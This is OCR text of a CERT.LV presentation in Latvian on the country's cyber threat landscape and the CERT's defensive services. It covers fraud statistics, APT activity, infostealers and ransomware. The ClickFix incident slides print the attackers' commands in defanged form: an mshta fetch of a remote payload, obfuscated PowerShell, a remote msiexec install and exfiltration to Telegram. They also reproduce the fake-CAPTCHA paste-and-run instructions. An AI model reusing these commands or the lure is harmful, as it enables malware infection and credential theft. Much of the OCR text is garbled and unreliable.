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Apdraudejuma izcelsme
Krievija, Baltkrievija, ar
KTR saistitas grupas

Stockholm

Izteikti hibrids raksturs
Ja kaut kas nodara kadu
kaitejumu, tas ir
pielietojams




AR,
Dazi pieturpunkti

Attistiti vairak ka 15 bezmaksas pakalpojumi

* DNS ugunsmiiris (Android + 10S, DNS recursive,
RPZ sync)

* SOC : 8b048a

Reakcijas uz APT no 6 mén. uz reallaiku / 1 dienu ggigSc
* ABS sensoru tikls un draudu izlukosana 891c8c
* Draudu simulacija 0000d7 41

00000d8 801914
* RED Team )00000db 75ef
* U.C. (000000dd 89el

X000000dT 29e?2



JJEEREL,
Dazi pieturpunkti

- Vélesanas un kurs vainigs
* Izspiedejvirusi un datu nopludes
* ClickFix

* Krapsana

00000d8

00000db

XOO00000dT

8b048a
8b1lc8c
31¢c3

891c8c

41
801914
75ef
89el
29e?2




CERT.LV nodroginatie NKDL subjekti —

s Kritiska
pakalpojumi svarigie un Paréjie
c E RT. Lv infrastruktira bitiskie
IKDIENAS AIZSARDZIBA
Kiberdrosibas incidentu risinasana un diennakts
1 atbalsts v v v
2 DNS ugunsmura pakalpojums ikvienam Latvijas o v 7

iedzivotajam un uznémumam

DNS ugunsmiira pakalpojums ar RPZ

3 tehnologijam tiem, kas pai uztur savus DNS v v Tiek izvertati
rekursivos serverus
Informacijas tehnologiju drosibas

4 apdraudéjumu agras bridinasanas sistéma V¥ v ¥ * lznémuma karta
(jeb ABS)

5  Drogibas operaciju centrs (jeb SOC) v ¥ vk Iznémuma karta

TESTESANA

6 Koordinéta ievainojamibu atklaana v v v

7 PikSkerésanas uzbrukumu simulacija v Tiek izvertéti Tiek izvertéti

8  Kiberapdraudéjumu simulicija V¥ v k¥ lznémuma karta

9  Kiberdrosibas draudu medibas v * vk lznémuma karta

10 T drosibas testi v RE* v Rk % v * Kk

11 Industrialas automatizacijas un vadibas sistému v R zpémumna Kirts

drosibas laboratorija

IZGLITOSANA
Sabiedribas izglitosana, lekcijas un daliba o v Tiek izvértati
pasakumos
CITI
13 L?tv!jas klberc.lroﬁbas kopienas i o %
zinojumapmainas platforma
14  NTP laika serveris v v v
15 CERT.LV MISP - ar Jaunatru saistitas ¥y 7 Tiek izverteti

informacijas apmainas platforma
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IT sistemu
drosibas testi

P>
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Pikskeresanas
uzbrukumu
simulacijas kampanas
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un

0

RED TEAM

13

2024

MW IT sistéemu drosibas testi

10

2025(1.-3.cet.)

PikSkerésanas uzbrukumu simulacijas kampanas



CERT.LV CVd ce rt. IV

Koordinéeta ievainojamibu zinosanas platforma

IEVAINOJAMIBU ZINOSANA LVEN  Epasta adres [ zenacr W megrsraeres
B CVD PLATFORMA Part

& Zinas @BU] v A programmas

Ievainojumibu zinosanas platforma paredzéta valsts parvaldes iestazu resursos identificéto ievainojamibu zinosanai un zinojumu apstradei.

Platforma ir publicéta informdcija par visam iestadém, kuras brivpratigi iesaistijuias koordingtas ievainojamibu atklaSanas procesd un noteikusas resursus
(sadala “Programma”), uz kuriem ievainojamibu zinosana attiecinama. Platforma tiek redistréti visi ievainojamibu zinojumi un ar to apstradi saistita
komunikacija starp iesaistitajam pusem.

FCERT.UI, 2024 @ CERT.LV  Platformas lietosanas noteikumi ~ Parmums  Informacija sazinoi  Personas datu opstrades kartibo

etoraai wmn
ok bas rsrsy
e
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 Drosibas petnieki: 132 aktivi
(3.cet. +18)

e Aktivas iestazu
programmas: 13
 levainojamibu zinojumi: 372
(3. cet. +159) tostarp:

("ACERT.LV klientiiras
ievainojamibas: 203 (3.cet.+
100)

74Uz konkrétam lestazu
programmam registrétas
ievainojamibas: 171 (3.cet.+59)

CVD ievainojamibu zinojumu skaits gada griezuma

142

16

CERT.LV klientdras
ievainojamibas

2023 2024 m 2025 |1.-3.cet.

116

47

8

Uz konkrétam iestazu
programmam registrétas
ievainojamibas

4 8 1

Aktivas iestazu
programmas

54

37 41I

Aktivi droSibas pétnieki




CERT.LV
Izplatitakas pikskerésanas kampanas, izmantojot organizaciju nosaukumus
(% dala no kopéja CERT.LV apstradato zinojumu skaita; 2025. gada pirmie 11 mén.)

Facebook /Meta (11%)

Citi e-pasta servisu nosaukumi (15%)

SEB (11%) VID EDS (8%)

CSDD (19%) Microsoft (13%, Citas témas (10%) Swedbank (7%) jauns.lv (6%)




CERT.LV ; ot e i s : i & e &
H Kiberincidentu skaita izmainu temps: 3 gadu salidzinosa analize

W 2023 2024 m2025/11mén

2000

: . 1600
Incidents Sogad
1400 135
1199
1200
1000
800
600
400 s
255
186 190 206 17g 200
200 110 113 99
77 72 5o 53 39 72 54 67

18 9 18 _ 36 43 18 28

& & & © «5&0 6\"& "bé c,‘*'o 6\‘?& &

@ > S ¢ @ 4 BRS Q&

& & & e » 6 % & o
& > S WO & @ S & ¢
I,b(.o X .&b > 'b" & o(\ 2 <
ds° dﬁp ggg? <§9 ¢§9 2 s
N éﬁk i dy? S &
*.o Q $O W



i

. Krapsana

PikSkerésana, bikSkeréSana, smikskeréSana, kvikSkeréSana
Viltus loterijas, zvani, majaslapas

TieSsaistes kontu kompromitéSana (FB, Microsoft, Meta krapSana)
Romantiska krapnieciba

BEC

. P'ékalpojumu pieejamiba

DDOS
GPS signalu blokesana

levainojamibas (cve)
Launatiiras & izspiedejvirusi
Piegades kedes uzbrukumi
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Latviesi

8.88 Eur uz
iedzivotaju
Poli

3.80 Eur uz
iedzivotaju

Prognoze

18 Milj
zaudejumos

KRAPSANAS GADIJUMU STATISTIKA
CETRAS LIELAKAJAS BANKAS

(01.01.2025.-30.09.2025.)

9620930€ 5,

Noveérsto krapsanas gadijumu apmeérs

4 044 2 853 8 803 1914

gadijumi gadijumi gadijumi gadijumi

4 447993 5 026 074 4 442 277 3 372 998
€ =

Novérsti Istenoti Noveérsti Istenoti

INVESTICIJU KRAPSANAS
(ieklauti ari citi lidzigi krapniecibu
veidi - viltotie krediti, komisijas utt.)

TELEFONKRAPSANAS
(ieklauti visi treso pusu veiktie
neautorizétie maksajumi)

FINANSU
NOZARES
ASOCIACIIA

9 043 506 €

Izkrapto lidzeklu apmérs banku klientiem,
pasiem apstiprinot maksajumu

816 480

gadijumi gadijumi

728 660 642 434
€ =

Noveérsti Istenoti

CITA VEIDA KRAPSANAS

(ieklauti gadijumi par kuriem informacija ir ierobezota,
viltus majaslapas, tirgotaji, u.c.)




Informacijas tehnologiju
drosibas incidentu
nov&rSanas institdcija

Par DNS ugunsmdri Windows 10 Windows 7 MacOS Android iOS

- ugunsmiiris .

- - L

Vi ) : \.

- : Kas tas ir?!

CERT.LV sadarbiba ar NIC (.LV doména vardu registra uzturétaju) ir izveidojudi DNS ugunsmiiri - bezmaksas riku

l?—‘ = individualu lietotaju un organizaciju pasargasanai no kiberapdraud&jumiem, tadiem ka viltus banku lapas,
A & g krapnieciskas tirdzniecibas platformas, virusus izplatosas vietnes u.c.
N

——
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DNS ugunsmuris

* Android 35 400
* Apple iOS 37 200
 Parejie ESK klienti

12mil 30min

Atvairijumi Vidéjais reakcijas
laiks
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Draudu medibas

» Merkis - identificet kompromitetas vai apdraudeétas
sistemas

 Veicam kops 2022. g.

 Veicinam starptautisku sadarbibu

e Stiprinam savu un partneru noturibu

e Esam dalijusies ar savu pieredzi ar 27 NATO
dalibvalstim

42 162000 16

Mérka o Operacijas 2025.9.
infrastruktdras Galaiekartas




CERT.LV

APT A
uzbrukumi AR




JCERTLY,,
APT

* Krievija izvers plasak, sak skobities kvaltitate,
joprojam ir elitaras grupas, fokuss uz SOHO un
Edge tikla iekartam, Mérku novérosana, Caulu
kompanijas, sadarbiba ar org. noziedzibu

- Stark Industries -> TheHosting, PQHosting gg?ﬁgi

31c3
891c8c

« Ar KTR saistitiem grupejumiem sakotnejais
vektors - Edge tikla iekartas, merktieciga virziba .
tikla : 41

- Baltkrievija - hibridas ietekmes operacijas 807914

DOOOOOdb 75ef
000000dd 89el
POOOOOdT 29e?2



| EEREL, Infostealers

Mm MetaStealer Mystic Nexus Raccoon Raccoon2  Racoon Redline Rhadamanthys  RisePro Saved Logins Smoke StealC Taurus Vidar
2
| | | | s 3
| | | 1
| | B
. | 1
. 1
| 2 2
1 | |
1 1 7
1 1 2
- | |
L 169 16 2 8 3 50 52 180 7 19 16 8 76 4

Krievijas dienesti cieSi sadarbojas ar organizéto noziedzibu - tie ir to sastavdala

Redline @ APT28




R Launatiru TOP 10

en 5788 1. SocksSsystemz - parvérs iekartas par
o starpniekserveriem (proxy), lai padaritu
ott-sockesprory N e grataku [aundaru kaitigo darbibu izseko$anu;
dioad | 1052 2. 911-socks5-proxy - uz iekartas
P lejupieladé kadu no bezmaksas VPN rikiem:
vt [ ™0 MaskVPN, DewVPN un papildus nokonfigurée
mirai [ 623 iekartu par starpniekserveri. Tadéjadi
okhummer [ 446 inficétas iekartas, lietotajam nenojausot, tiek
S izmantotas |aunpratigu darbibu veikSanai.
android.riada  [JJj 432 |_aunatdra nonak upuru iekartas no
sakie ey I 4 aizdomigiem resursiem lejupieladéjot,
' pieméram, filmas, maziku vai datorspéles.
anche [ 304 3. Adload - zog upuru parlikprogrammu
ity [ 205 meklétaju datus un ievieto viltus reklamas
upura interneta parltka (izplatits MAC
ierices).

0 1000 2000 3000 4000 5000 6000

9. attéls. Apdraudéto unikalo IP adresu skaits




JEERTLY,
ClickFix

Noklikskiniet Seit
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=

Valsts ienemumu dienests
> Jums

Valsts ienemumu dienests

Sveiki!

Més, Valsts ienémumu dienests, vélamies jums pazinot, ka jusu nodok|u
atmaksas ir gatavas izmaksai. Lai sanemtu savu atmaksu, jus varat to
izdarit, skenéjot QR kodu vai noklikskinot uz saites zemak un sekojot
nakamajiem soliem, izmantojot pagaidu kodu : LV2ID241.

Noklikskiniet Seit

Paldies par sapratni un lidzu, sazinieties ar mums, ja jums ir jautajumi
vai nepiecieSama papildus palidziba.

Ar cienu,

Valsts ienémumu dienests




v=.  ClickFix / Fake Captcha

Process Command Line: \"C:\\WINDOWS\\system32\\mshta.exe\"
hXXps://s5.nybh[.]ru/sft.google?t=j6****3

maj_Jis.lv

Verify you are human by completing the action below

0 Verifying... ciouoriar .

rrrrrrrrrrrr

ma]jls'lv Complete these verification steps use e

proceeding. keyboard
To prove you are not robo

1. Press & hold thel;!.win key + R
2. In verification window, press FM! Ctrl + V
3. Press E Enter key

®

Ray ID: 33vms2vOglq
Performance an d security by Cloudflare &




v Uzbrukums vareja nenotikt

Notikumu gaita

Feb 8, 2025 @ 21:12:03.457 Izpildita laundabiga komanda, kas liecina par inficétas majaslapas apmekléjumu:
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w 1 -C
"$1="hxxps[]://]utahpek]|.]site/guba***ta.mp4' ;Invoke-CimMethod -ClassName Win32_Process -MethodName Create
-Arguments @{CommandLine=('ms' + 'hta' + '.exe '+S$1)}"

# M ''I am not a robot: CAPTCHA Verification UID: 7811""
Feb 8, 2025 @ 21:12:03.473 Izpildita "obfuscated" Powershell komanda

Feb 8, 2025 @ 21:12:16.264 Izpildita Powershell komanda savienojoties ar aizdomigu doménu
hxxps[://]connect-cdn-api.tastinessrebaterunny[.]shop/guba.png izmantojot Net.WebClient

Feb 8, 2025 @ 21:12:21.431 Atkartoti izpildits kods no pirmas vietnes mshta.exe
hxxps[://]utahpek]|. ]site/guba***ta.mp4

Feb 8, 2025 @ 21:39:45.765 Noverota Lumma Stealer launatiras aktivitate atmina, procesa explorer.exe. Turpmak,
vairakas reizes novéroti bridinajumi, kas saistiti ar laundabiga koda izpildi no
hxxps[://]connect-cdn-api.tastinessrebaterunny|[.]shop/g***a.png

Feb 8, 2025 @ 21:40:15.029 Noverota tikla plusmas tunelésana "C:\Program

Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" connect(
ipv4, tcp, 127.0.0.1, 9222 )

Feb 8, 2025 @ 21:42:03.589 Méginajumi piekldt FileZilla datiem izmantojot Powershell
C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml




v Uzbrukums vareja nenotikt

Notikumu seciba

1. msiexec.exe (no cmd.exe) izpildija:
msiexec /i hXXps://elevatedeverydayeats[.]com

[ (external, opens in a new tab or window)](hXXps://elevatedeverydayeats[.]com) /gn

MSI izpakojas temp mape:
C:\\Users\\user\\AppData\\Local\\Temp\\MW-96b52edd-43a2-40a9-bf99-30a35bd555ae\\files\\
C:\\Users\\user\\AppData\\Local\\Temp\\MW-96b52edd-43a2-40a9-bf99-306a35bd555ae\\files\\Chrome.exe
3. No Temp mapes izpildits viltus chrome.exe:

chrome.exe (hash md5 38e5388d7373882ba1d49ae6b6f7e205) |::> Uzbrucéja “ienests chome.exe” versina 33.0.6943.126 ar

4. Viltus chrome.exe: ST : : : :
\-izpildija VirtualProtect RW - RX (shellcode) ievainojamibu. Tiek veikts DLL sideloading / DLL order

\-injicéja kodu Istajos chrome.exe / msedge.exe hijack. DLL chrome_elf.d11 ar [aunatiras funkcionalitati

\-izraisija ~66 trauksmes (Donutloader, AMSI bypass, unbacked shellcode, PID spoofing, remote memory write
utt.)

N =

Kompromiteta sistema — klasisks MSI remote + reflective loader uzbrukums:

MSI lejupieladéts no elevatedeverydayeats.com (dropper doméns)

Payload izpakots temp mape ka viltus chrome.exe

Izmantots dllhost.exe + COM surrogate, lai apietu AppLocker/mark-of-the-web
Veikta reflektiva injekcija istajos parlukos

Lietotajs atvera phishing e-pastu un saiti




v Uzbrukums vareja nenotikt

Notikumu seciba pec kompromtesanas

Malware process timeline:

ip lookup

chrome cookies, history, secrets, etc.
send to api.telegram|.]org

self delete from C:\windows\installer\
no persistence found




v Uzbrukums vareja nenotikt

Viss sakas ar MSHTA un MSIEXEC

‘ Windows Defender Firewall with
File Action View Help

YL EN

@ Windows Defender Firewall witl
&3 Inbound Rules
Outbound Rules
®% Connection Security Rules
> B, Monitoring

Advanced Security

Outbound Rules

Profile Enabled Action Qverride

%SystemRoot%\System32\mshta.exe

VY OOL 7o\SY V O EX

& Core Networking - Dynamic Host C... All Yes Allow No %6SystemRoot%\system32\svchost.exe

£ Core Networking - Dynamic Host C... All Yes Allow No %SystemRoot%\system32\svchost.exe
£ Core Networking - DNS (UDP-Out) Al Yes Allow No %6SystemRoot%\system32\svchost.exe

@ Core Networking - Group Policy (LS... Domain  Yes Allow No %SystemRoot%\system32\Isass.exe




v Uzbrukums vareja nenotikt

Viss sakas ar MSHTA un MSIEXEC

@ Windows Defender Firewall with Advanced Security
File Action View Help
| 2m = Hm

@ Windows Defender Firewall wit
&3 Inbound Rules

Outbound Rules

&3 Outbound Rules Name Profile  Enabled  Action  Override  Program
% Connection Security Rules () !_Bloket-MSIEXEC All Yes Block %SystemRoot%\SystemSZ\msuexec exe
> ™, Monitoring s : : .

@ Core Networking - Dynamic Host Config... All Yes Allow No %SystemRoot%\systemBZ\svchost exe
@ Core Networking - DNS (UDP-Out) All Yes Allow No %SystemRoot%\system32\svchost.exe
& Core Networking - Group Policy (LSASS-... Domain  Yes Allow No %SystemRoot%\system32\lsass.exe
@ Core Networking - Group Policy (NP-Out) Domain  Yes Allow No System
@ Core Networking - Group Policy (TCP-Out) Domain Yes Allow No %SystemRoot%\system32\svchost.exe
€ Core Networking - Internet Group Mana... Al Yes Allow No System
@ Core Networkmg IPHTI'PS (TCP-Out) All Yes Allow No %SystemRoot%\system32\svchost.exe




ey, Blezak sastopama aina
kompromiteta vide

Nav ieveroti mazakas nepieciesamas piekluves principi

* Nav tikla segmentacija

* Nav mikrosegmentacija

* Nav programmaturas izpildes ierobezojumi

* Nav homogeéna vides parvaldiba un centralizeta drosibas
telemetrija

* Attalinatas vadibas riku anarhija

* Attieksme - Mes gadiem ta daram un viss bija kartiba
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Izspiedejvirusi
(Ransomware)
un datu

nopludes

e

(T -
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g rMdCRIndIiauc W

A\ Cyberattack Alert - #8Amber Beverage Group

October 24, 10:34 Crime & LETA

The Data State Inspectorate (DVI) has imposed a fine of €300,000 on LLC "ZZ
Dats" in connection with last year's municipal data leak, but the company has
appealed the decision in court, according to the LETA new" agency.

The hacking group RansomHub claims to have breached Amber
Beverage Group, a leading producer, distributor, logistics provider and
retailer of spirits.

«\7"0

In early November 2024, due to a system error, the personal data T "‘(’

Latvian municipalities, such as their names, surnames, persor‘,@d“

nd residents of various
3, and addresses,

Allegedly, 1.7 TB of data were exfiltrated.
Ransom deadline: 10th Sep 24.

was leaked. 1?,&"
& www . amberbev.com
As explained by the inspectorate, the data was st~ \&\\v "y ZZ Dats.
Upon receiving information about a poss:blpv(o ;;\:&S’\ ‘on and m
found the company guilty of failing to.ele\k\v \*“
‘\o&\;\ Visits: 266

The company was fined €300,0001

SmartLynx
hitps:/iww

¥

SmartLynx Airlines experienced a cybt

Dec 20, 2024 — SmartLynx Airlines recently experienc

w.smartlynx.aero > news > cyber-incident

systems. Thanks to a swift and decisive response, all opera
remain ...

Data Size: 1.7 TB
Last View: 09-03 08:24:04

.otice

o' i I b S s AT NP AN S S ERTE .
\)\‘0 «ps:/ihacknotice.com » 2025/06/11 > jelgavas-tipografija 3

JELGAVAS TIPOGRAFIJA

HackNotice monitors data streams related to breaches, leaks, and hacks and JELGAVAS TIPOGRAFIJA
was reported by one of those streams. HackNotice may also have ...

Delfi

https:/fiwww.delfi.lv > criminal > je... - Translate this page }

"Jelgavas tipografija" cietusi kiberuzbrukuma

Jun 4, 2025 — SIA "Jelgavas tipografija™ Sonedél ir cietusi no kiberuzbrukuma, pastastija
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Svarigi saglabat dabigo intelektu

LLM catboti jauztver ka socialo tiklu vide
Neliec tur saturu, kuru ne par ko neliktu Facebook

MI riki ir programmatura un ta ta butu jauztver
Tas pasas drosibas prasibas ir piemerojamas
lzcelsme, uzticamiba, mode]a pielietojums, datu plisma,
drosas ieviesanas un lietosanas prakses

MI riku prieksrocibas ir jaizmanto un javeicina sapratiga, ierobezota
lietosana

Japaplasina skatijums - kas ir informacijas apstrades sistema? Varbit
elektro auto, kas parvietojas Kl objekta?



Velesanas
Latvija
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ERTER Velesanas

. lesaistitas puses
. CVK
. VARAM
. VDAA
LVRTC
. Kontraktori
. CERT.LV
. Valsts droSibas iestades




R Velesanas

v PASVALDIBU
VELESANAS 2025

ZINAS KANDIDATI ¥ NOVADI ¥ STATISTIKA ES VELOS SKIROTAVA DEBA

|
|
@

b0l ziedot.lv/Ukrainai; 90204113 (5 €)
Panorama o . = = - = v g -~
co TN exE ). Liopa parsudz lemumu par parcelsanu cita amata
B e ranorama V. Zelenskis: Vispirms drosibas garantijas, tad samits ar Putinu
Ty TER T4 M z ' | il

) Liopa parsudz lemumu par parcelSanu cita amata lesaki: i f X ® .

Latvijas gqp,
paka”"’i"m; sabmdﬁskés 3praides
-

1V()I°,f

Panorama
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WL DDOS (Paklapojumatteices) Uzbrukumi,
haktivisms

REplay Latvijas Televizija Latvijas Radio Treddiena, 11. septembris Varda dienas: Signe, Signija LSM.lv Valodas @ LSM+

e a Sadalas —
— —

LSM.lv Latvijas Sabiedriskie Mediji Riga +21°C, D/DR V&[S, 4m/s N

Uzbrukumu iemesls sasaistams ar
Latvijas palidzibas paketi Ukrainai,

SVARIGI >»> ™= Krievijas iebrukums Ukraina “airBaltic" Valsts budZets 2025 Nodokli Paraolimpiskas spéles - Parize 2024  Izraélas un "Hamas" kars

Valsts iestaZzu majaslapas piedzivo intensivus

- Vu————— — g oo+ kas tika apstiprinata 13. augusta - 30
Dalities: oo@o

aprikotu transportlidzek|u nodosanu

e Latvian Television Latvian Rad day. AURUEE 23 N valg s, Vitall LSMIv  Languages @LSM+
E LSM+  Public broadcasting of Latvia in Riga +18°€, 5 wind, S e © » Meny =

Y T e o T AT QR TP AT LT 1T iR T TP R e MR Rl e oo Tl 11

TIESRAIDE: Tpa3o bérnu nakotne Latvija

Cyber attacks on public sector websites in Latvia

» 1:1.Islandes 6. prezidents Gudni Johannesons Tuesday
» Sodienas jautajums: Kapéc NBS nenotrieca 20:04 share Q@ QO
Krievijas dronu?
1
w Krustpunkta: Cik veiksmigi valdiba risina 53:42 k I
lielas finan3u un ekomomiskas problémas? l
]

Latvijas paraolimpie3u sagaidisana pie  02:00:00
Brivibas pieminekla

Pieraksties LSM.Iv jaunumiem!

4 f XO 0O i &inX

Hakeris darbiba. Attéls ilustrativs.

Popularakie >

20. augusts, 16:45 Papildinats 20. augusta, 19:17 W LETA Autori: Latvijas Radio

n— i
A‘(mak“’dz 30. Sepfe”:(br"m_ _ FTA, i Pale Follow Eng.Lsm.lv on social media!
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Elektribas apaksstacija Kl objekta

Sagatavosanas BREL atslegsanai

Valsts iestazu un Kl objektu kompromitesana

Viedas pilsetas vadibas elementi (luksofori, udens attiriSana, siltums)
Piena produktu razosanas komplekss

Gazes kogeneracijas stacija

Degvielas uzpildes staciju suknu vadiba

Viena no lielakajam SkiroSanas konveijeru sistémam regiona



EERLLYL,
Mums

Jaklust par
neparocigu
merki!




CERT.LV

Kiberincidentu
novérsanas institicija
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